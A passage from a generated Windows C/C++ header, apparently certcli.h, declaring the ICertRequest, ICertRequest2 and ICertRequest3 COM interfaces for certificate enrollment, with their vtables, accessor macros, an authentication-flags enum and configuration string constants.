RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        END_INTERFACE\n    } ICertRequestVtbl;\n\n    interface ICertRequest\n    {\n        CONST_VTBL struct ICertRequestVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertRequest2_INTERFACE_DEFINED__\n#define __ICertRequest2_INTERFACE_DEFINED__\n\n/* interface ICertRequest2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"a4772988-4a85-4fa9-824e-b5cf5c16405a\")\n    ICertRequest2 : public ICertRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetIssuedCertificate( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetErrorMessageText( \n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAProperty( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAPropertyFlags( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAPropertyDisplayName( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetFullResponseProperty( \n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequest2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetErrorMessageText )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAProperty )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyFlags )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyDisplayName )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFullResponseProperty )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        END_INTERFACE\n    } ICertRequest2Vtbl;\n\n    interface ICertRequest2\n    {\n        CONST_VTBL struct ICertRequest2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest2_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest2_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest2_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest2_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest2_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest2_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest2_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n\n#define ICertRequest2_GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest2_GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText)\t\\\n    ( (This)->lpVtbl -> GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText) ) \n\n#define ICertRequest2_GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#define ICertRequest2_GetCAPropertyFlags(This,strConfig,PropId,pPropFlags)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyFlags(This,strConfig,PropId,pPropFlags) ) \n\n#define ICertRequest2_GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName) ) \n\n#define ICertRequest2_GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certcli_0000_0005 */\n/* [local] */ \n\ntypedef \nenum X509EnrollmentAuthFlags\n    {\n        X509AuthNone\t= 0,\n        X509AuthAnonymous\t= 1,\n        X509AuthKerberos\t= 2,\n        X509AuthUsername\t= 4,\n        X509AuthCertificate\t= 8\n    } \tX509EnrollmentAuthFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0005_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0005_v0_0_s_ifspec;\n\n#ifndef __ICertRequest3_INTERFACE_DEFINED__\n#define __ICertRequest3_INTERFACE_DEFINED__\n\n/* interface ICertRequest3 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest3;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"AFC8F92B-33A2-4861-BF36-2933B7CD67B3\")\n    ICertRequest3 : public ICertRequest2\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE SetCredential( \n            /* [in] */ LONG hWnd,\n            /* [in] */ X509EnrollmentAuthFlags AuthType,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetIssuedCertificate2( \n            /* [in] */ __RPC__in BSTR strConfig,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRefreshPolicy( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequest3Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest3 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest3 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest3 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetErrorMessageText )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAProperty )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyFlags )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyDisplayName )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFullResponseProperty )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetCredential )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG hWnd,\n            /* [in] */ X509EnrollmentAuthFlags AuthType,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestIdString )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate2 )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in BSTR strConfig,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRefreshPolicy )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        END_INTERFACE\n    } ICertRequest3Vtbl;\n\n    interface ICertRequest3\n    {\n        CONST_VTBL struct ICertRequest3Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest3_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest3_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest3_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest3_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest3_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest3_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest3_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest3_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest3_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest3_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest3_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest3_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest3_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest3_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n\n#define ICertRequest3_GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest3_GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText)\t\\\n    ( (This)->lpVtbl -> GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText) ) \n\n#define ICertRequest3_GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#define ICertRequest3_GetCAPropertyFlags(This,strConfig,PropId,pPropFlags)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyFlags(This,strConfig,PropId,pPropFlags) ) \n\n#define ICertRequest3_GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName) ) \n\n#define ICertRequest3_GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n\n#define ICertRequest3_SetCredential(This,hWnd,AuthType,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> SetCredential(This,hWnd,AuthType,strCredential,strPassword) ) \n\n#define ICertRequest3_GetRequestIdString(This,pstrRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestIdString(This,pstrRequestId) ) \n\n#define ICertRequest3_GetIssuedCertificate2(This,strConfig,strRequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate2(This,strConfig,strRequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest3_GetRefreshPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetRefreshPolicy(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest3_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __CERTCLILib_LIBRARY_DEFINED__\n#define __CERTCLILib_LIBRARY_DEFINED__\n\n/* library CERTCLILib */\n/* [helpstring][version][uuid] */ \n\n#define wszCONFIG_COMMONNAME \t\tL\"CommonName\"\n#define wszCONFIG_ORGUNIT \t\tL\"OrgUnit\"\n#define wszCONFIG_ORGANIZATION \t\tL\"Organization\"\n#define wszCONFIG_LOCALITY \t\tL\"Locality\"\n#define wszCONFIG_STATE\t\t\tL\"State\"\n#define wszCONFIG_COUNTRY\t\tL\"Country\"\n#define wszCONFIG_CONFIG\t\tL\"Config\"\n#define wszCONFIG_EXCHANGECERTIFICATE\tL\"ExchangeCertificate\"\n#define wszCONFIG_SIGNATURECERTIFICATE\tL\"SignatureCertificate\"\n#define wszCONFIG_DESCRIPTION\t\tL\"Description\"\n#define wszCONFIG_COMMENT\t\tL\"Comment\" // obsolete: use Description\n#define wszCONFIG_SERVER \t\tL\"Server\"\n#define wszCONFIG_AUTHORITY 